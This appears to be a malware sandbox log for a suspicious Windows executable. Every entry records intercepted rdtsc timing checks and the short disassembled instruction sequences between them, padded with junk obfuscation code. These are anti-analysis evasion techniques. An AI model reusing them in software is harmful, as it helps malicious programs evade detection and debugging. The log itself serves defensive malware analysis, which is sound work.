Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3FB30E second address: 3FB319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3B4CF8 second address: 3B4CFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3B4CFC second address: 3B4D08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F4B7CC5D3A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3B4D08 second address: 3B4D1C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jo 00007F4B7CC118B6h 0x00000009 jg 00007F4B7CC118B6h 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3FDBAC second address: 3FDBB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3FDBB0 second address: 3FDBBE instructions: 0x00000000 rdtsc 0x00000002 je 00007F4B7CC118B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3FDBBE second address: 3FDBC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3FDBC2 second address: 3FDBEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F4B7CC118C9h 0x0000000e je 00007F4B7CC118BCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3FDBEC second address: 3FDC3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 or dword ptr [ebp+1245F99Bh], esi 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F4B7CC5D3A8h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 mov edi, dword ptr [ebp+122D36E3h] 0x0000002e jnl 00007F4B7CC5D3ABh 0x00000034 push 00000000h 0x00000036 mov esi, 26EE8F72h 0x0000003b push eax 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3FDC3C second address: 3FDC40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3FE60F second address: 3FE668 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F4B7CC5D3ABh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 mov di, E56Ch 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007F4B7CC5D3A8h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 xchg eax, ebx 0x00000033 pushad 0x00000034 jne 00007F4B7CC5D3A8h 0x0000003a pushad 0x0000003b pushad 0x0000003c popad 0x0000003d jnl 00007F4B7CC5D3A6h 0x00000043 popad 0x00000044 popad 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a push edi 0x0000004b pop edi 0x0000004c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3FE668 second address: 3FE66E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3FE66E second address: 3FE675 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4006D8 second address: 4006DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4006DC second address: 4006E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 40268C second address: 402691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 402691 second address: 4026A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4026A7 second address: 4026AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4037E3 second address: 4037F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4037F1 second address: 4037F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4037F7 second address: 403813 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4B7CC5D3B7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 403813 second address: 4038A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F4B7CC118B8h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 push 00000000h 0x00000024 mov ebx, 531FE07Ah 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ecx 0x0000002e call 00007F4B7CC118B8h 0x00000033 pop ecx 0x00000034 mov dword ptr [esp+04h], ecx 0x00000038 add dword ptr [esp+04h], 00000018h 0x00000040 inc ecx 0x00000041 push ecx 0x00000042 ret 0x00000043 pop ecx 0x00000044 ret 0x00000045 call 00007F4B7CC118C5h 0x0000004a clc 0x0000004b pop ebx 0x0000004c xchg eax, esi 0x0000004d jmp 00007F4B7CC118BFh 0x00000052 push eax 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F4B7CC118C1h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 404893 second address: 404898 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 404898 second address: 4048B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F4B7CC118C2h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 403ACB second address: 403AD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4059E2 second address: 4059FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B7CC118C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4059FD second address: 405A21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 405A21 second address: 405A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 405A25 second address: 405AB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F4B7CC5D3B5h 0x0000000e popad 0x0000000f nop 0x00000010 jo 00007F4B7CC5D3ACh 0x00000016 sub dword ptr [ebp+12480D42h], ebx 0x0000001c or dword ptr [ebp+12480B55h], ebx 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ecx 0x00000027 call 00007F4B7CC5D3A8h 0x0000002c pop ecx 0x0000002d mov dword ptr [esp+04h], ecx 0x00000031 add dword ptr [esp+04h], 00000019h 0x00000039 inc ecx 0x0000003a push ecx 0x0000003b ret 0x0000003c pop ecx 0x0000003d ret 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push esi 0x00000043 call 00007F4B7CC5D3A8h 0x00000048 pop esi 0x00000049 mov dword ptr [esp+04h], esi 0x0000004d add dword ptr [esp+04h], 00000018h 0x00000055 inc esi 0x00000056 push esi 0x00000057 ret 0x00000058 pop esi 0x00000059 ret 0x0000005a mov dword ptr [ebp+1246F06Dh], edx 0x00000060 xchg eax, esi 0x00000061 push edi 0x00000062 push eax 0x00000063 push edx 0x00000064 push edx 0x00000065 pop edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 405AB2 second address: 405AB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 406BB8 second address: 406BBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 406BBC second address: 406C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jbe 00007F4B7CC118BAh 0x0000000e push esi 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop esi 0x00000012 nop 0x00000013 jmp 00007F4B7CC118BDh 0x00000018 mov bh, dl 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f call 00007F4B7CC118B8h 0x00000024 pop ebx 0x00000025 mov dword ptr [esp+04h], ebx 0x00000029 add dword ptr [esp+04h], 0000001Ah 0x00000031 inc ebx 0x00000032 push ebx 0x00000033 ret 0x00000034 pop ebx 0x00000035 ret 0x00000036 call 00007F4B7CC118C0h 0x0000003b pop edi 0x0000003c push 00000000h 0x0000003e sub edi, dword ptr [ebp+122D318Dh] 0x00000044 xchg eax, esi 0x00000045 push edx 0x00000046 jmp 00007F4B7CC118C1h 0x0000004b pop edx 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 jc 00007F4B7CC118B6h 0x00000056 pop eax 0x00000057 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 406C3A second address: 406C40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 406C40 second address: 406C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 405D4C second address: 405D50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 405D50 second address: 405D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 405D5A second address: 405D5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 406E4B second address: 406E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 40AE14 second address: 40AE20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 40AEC7 second address: 40AECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 40AECC second address: 40AED6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F4B7CC5D3A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 40BD00 second address: 40BD04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 40BD04 second address: 40BD0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 40BD0A second address: 40BD10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 40BD10 second address: 40BDA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F4B7CC5D3B8h 0x00000011 nop 0x00000012 mov bh, ah 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007F4B7CC5D3A8h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 0000001Ch 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 mov edi, dword ptr [ebp+122D19D1h] 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007F4B7CC5D3A8h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 00000015h 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 xchg eax, esi 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 jg 00007F4B7CC5D3A6h 0x0000005c jmp 00007F4B7CC5D3AEh 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 40BDA7 second address: 40BDB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4B7CC118BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 40AFFC second address: 40B01A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 40CDAE second address: 40CE04 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4B7CC118B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b nop 0x0000000c call 00007F4B7CC118BAh 0x00000011 mov di, 68A0h 0x00000015 pop ebx 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007F4B7CC118B8h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 0000001Dh 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 push 00000000h 0x00000034 or edi, dword ptr [ebp+122D1B4Bh] 0x0000003a or dword ptr [ebp+1245B8A9h], ebx 0x00000040 push eax 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 push ebx 0x00000045 pop ebx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 40BF04 second address: 40BF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 40BF08 second address: 40BF0E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 40DE71 second address: 40DE85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jc 00007F4B7CC5D3A8h 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 40DE85 second address: 40DE89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 40DE89 second address: 40DEB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a jmp 00007F4B7CC5D3AEh 0x0000000f push 00000000h 0x00000011 mov dword ptr [ebp+12496884h], ebx 0x00000017 xchg eax, esi 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F4B7CC5D3ACh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 40CF9A second address: 40D036 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F4B7CC118B8h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 cld 0x00000013 jmp 00007F4B7CC118C5h 0x00000018 push dword ptr fs:[00000000h] 0x0000001f push edx 0x00000020 mov bx, si 0x00000023 pop ebx 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b push 00000000h 0x0000002d push edx 0x0000002e call 00007F4B7CC118B8h 0x00000033 pop edx 0x00000034 mov dword ptr [esp+04h], edx 0x00000038 add dword ptr [esp+04h], 0000001Dh 0x00000040 inc edx 0x00000041 push edx 0x00000042 ret 0x00000043 pop edx 0x00000044 ret 0x00000045 mov ebx, edi 0x00000047 mov eax, dword ptr [ebp+122D1539h] 0x0000004d push 00000000h 0x0000004f push ebp 0x00000050 call 00007F4B7CC118B8h 0x00000055 pop ebp 0x00000056 mov dword ptr [esp+04h], ebp 0x0000005a add dword ptr [esp+04h], 0000001Ah 0x00000062 inc ebp 0x00000063 push ebp 0x00000064 ret 0x00000065 pop ebp 0x00000066 ret 0x00000067 push FFFFFFFFh 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007F4B7CC118BBh 0x00000073 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 40DEB8 second address: 40DED4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4B7CC5D3B7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 40D036 second address: 40D044 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 411568 second address: 41156E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 41156E second address: 411572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 411B32 second address: 411B90 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov dword ptr [ebp+122DB532h], esi 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F4B7CC5D3A8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 clc 0x0000002a push 00000000h 0x0000002c jmp 00007F4B7CC5D3B6h 0x00000031 push eax 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F4B7CC5D3B3h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 411B90 second address: 411B94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 411B94 second address: 411B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 412B53 second address: 412BE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a cmc 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F4B7CC118B8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebp 0x0000002c call 00007F4B7CC118B8h 0x00000031 pop ebp 0x00000032 mov dword ptr [esp+04h], ebp 0x00000036 add dword ptr [esp+04h], 00000016h 0x0000003e inc ebp 0x0000003f push ebp 0x00000040 ret 0x00000041 pop ebp 0x00000042 ret 0x00000043 movzx ebx, cx 0x00000046 call 00007F4B7CC118C4h 0x0000004b jmp 00007F4B7CC118C5h 0x00000050 pop edi 0x00000051 xchg eax, esi 0x00000052 push eax 0x00000053 push edx 0x00000054 push esi 0x00000055 jbe 00007F4B7CC118B6h 0x0000005b pop esi 0x0000005c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 411CEE second address: 411CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 411CF3 second address: 411D30 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4B7CC118CFh 0x00000008 jmp 00007F4B7CC118C9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4B7CC118C7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 412D62 second address: 412D6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F4B7CC5D3A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 412D6C second address: 412D70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 41DD50 second address: 41DD56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 41DD56 second address: 41DD65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 41DD65 second address: 41DD70 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
